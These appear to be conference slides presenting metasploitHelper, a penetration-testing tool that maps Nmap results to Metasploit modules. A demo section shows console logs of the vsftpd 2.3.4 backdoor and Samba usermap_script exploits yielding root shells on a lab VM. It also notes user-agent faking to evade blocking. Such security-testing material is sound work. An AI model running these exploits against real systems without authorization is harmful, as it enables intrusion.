metasploitHelper
Keith Lee & Michael Gianarakis
Blackhat Asia Arsenal 2015
#whoami

@keith55

Security Consultant at SpiderLabs

@mgianarakis

Managing Consultant at SpiderLabs

Application Security
What Is This Presentation About?

- Problems metasploitHelper tries to resolves
- How metasploitHelper works
- Problems faced during development
- Some gotchas
Problems metasploitHelper tries to resolves
Problems metasploitHelper tries to resolves

• There are new Metasploit modules released every now and then. It is difficult to keep up with every Metasploit modules that have been released.

• We do not want to miss any easy to spot vulnerabilities during a penetration test.

• Manual penetration testing is still recommended, this tool is meant to assist penetration testers during tests.
Metasploit Modules

- Modules can be categorized into auxiliary and exploit modules.
- Modules can also be categorized into HTTP URI and port based exploits.
How metasploitHelper works
How metasploitHelper works

1. Crawls the metasploit modules folder and extracts the port numbers / targeturi and title of the module.
   - Port numbers
   - Targeturi

2. Writes the results to default-path.csv and port2Msf.csv.

3. Parses the nmap xml file and extracts the port numbers and HTTP(s) services.
   - Port numbers
   - Targeturi

4. Brute forces the targeturi against all the HTTP(s) services listed in default-path.csv.
   - Perform a lookup based on the port number and find the matching Metasploit module.

5. Writes the results to Metasploit resource scripts and generates report file "report.txt".
Problems faced
Problems faced

• There are websites that blocks scripts using invalid user agent. The script circumvent this by faking the user-agent.

• The target web server returns a status code of 200 for all URIs. The script attempts to tests the web server for fictious URIs. The script does not continue with the brute force unless the -detect parameter is specified. The script performs a match for the keywords in the page title against that of the title of the Metasploit module.
Some Gotchas
Some Gotchas

• Some Metasploit modules do not specify the correct TARGETURI.

• Instead, they have specified the root / as the TARGETURI.
Demo
metasploitHelper Help Menu


Optional arguments:
- -h, --help      Show this help message and exit
- -i NMAPFILE    [Use Nmap .xml file]
- -v             [Verbose (default=false)]
- -nocache       [Search Metasploit folder instead of using default-path.csv and port2Msf.csv (default=off)]
- -findWeb       [Find only HTTP/HTTPS exploits (default=on)]
- -findPort      [Find only port-based matched exploits (default=on)]
- -detect        [Find Metasploit http module matched based on both URI and page title (default=off)]
- -enableRoot    [Include Metasploit modules for root URI / (default=off)]

root@kali:/git/metasploitHelper# python metasploitHelper.py
Running metasploitHelper

```
root@kali:/git/metasploitHelper# python metasploitHelper.py -i nmap_target.xml -nocache

- Initial Testing with Random URLs...

- Brute Forcing URLs...

- Initial Testing with Random URLs...

- Brute Forcing URLs...

Metasploit resource script: runDefaultPathAux.rc written.
Metasploit resource script: runDefaultPathExp.rc written.
Metasploit resource script: runMsfAux.rc written.
Metasploit resource script: runMsfExp.rc written.
Report written to report.txt.
```
Generated 'data' files by crawling Metasploit modules folder
Generated report.txt contain list of matching modules (HTTP/Port based exploits)

192.168.112.167:8180
auxiliary/scanner/http/tomcat_mgr_login
auxiliary/scanner/http/apache_activemq_source_disclosure

192.168.112.167:21
auxiliary/admin/cisco/vpn_3000_ftp_bypass
auxiliary/admin/scada/modicon_password_recovery
auxiliary/scanner/ftp/titanftp_xcrc_traversal
auxiliary/scanner/ftp/anonymous
auxiliary/scanner/ftp/ftp_version
auxiliary/scanner/ftp/ftp_login

192.168.112.167:22
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/ssh/ssh_enumusers
auxiliary/scanner/ssh/ssh_version
auxiliary/scanner/ssh/detect_kippo
auxiliary/scanner/ssh/ssh_identify_pubkeys
auxiliary/scanner/ssh/cerberus_sftp_enumusers
auxiliary/scanner/ssh/ssh_login_pubkey

192.168.112.167:23
auxiliary/scanner/telnet/telnet_encrypt_overflow
auxiliary/scanner/telnet/telnet_ruggedcom
auxiliary/scanner/telnet/telnet_version

192.168.112.167:25
auxiliary/scanner/smtp/smtp_ntlm_domain
auxiliary/scanner/smtp/smtp_enum

192.168.112.167:53
auxiliary/scanner/dns/dnsamento
Running the Generated Metasploit Resource Scripts against Target (Metasploitable VM)

```
resource (runMsfExp.rc) > use exploits/unix/ftp/vsftpd_234_backdoor
resource (runMsfExp.rc) > set RHOST 192.168.112.167
RHOST => 192.168.112.167
resource (runMsfExp.rc) > set RHOSTS 192.168.112.167
RHOSTS => 192.168.112.167
```

```
resource (runMsfExp.rc) > exploit
[*] Banner: 220 (vsFTPD 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
```

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
noshup.out
opt
proc
root
```

```
resource (runMsfExp.rc) > use exploits/multi/samba/usermap_script
resource (runMsfExp.rc) > set RHOST 192.168.112.167
RHOST => 192.168.112.167
resource (runMsfExp.rc) > set RHOSTS 192.168.112.167
RHOSTS => 192.168.112.167
resource (runMsfExp.rc) > set RPORT 139
RPORT => 139
```

```
resource (runMsfExp.rc) > exploit
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo nb49ClQfQDXD4EF;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "nb49ClQfQDXD4EF\n"
[*] Matching...
[*] A is input...
```

```
whoami
root
```
Conclusion

• The script can be downloaded from https://github.com/milo2012/metasploitHelper/.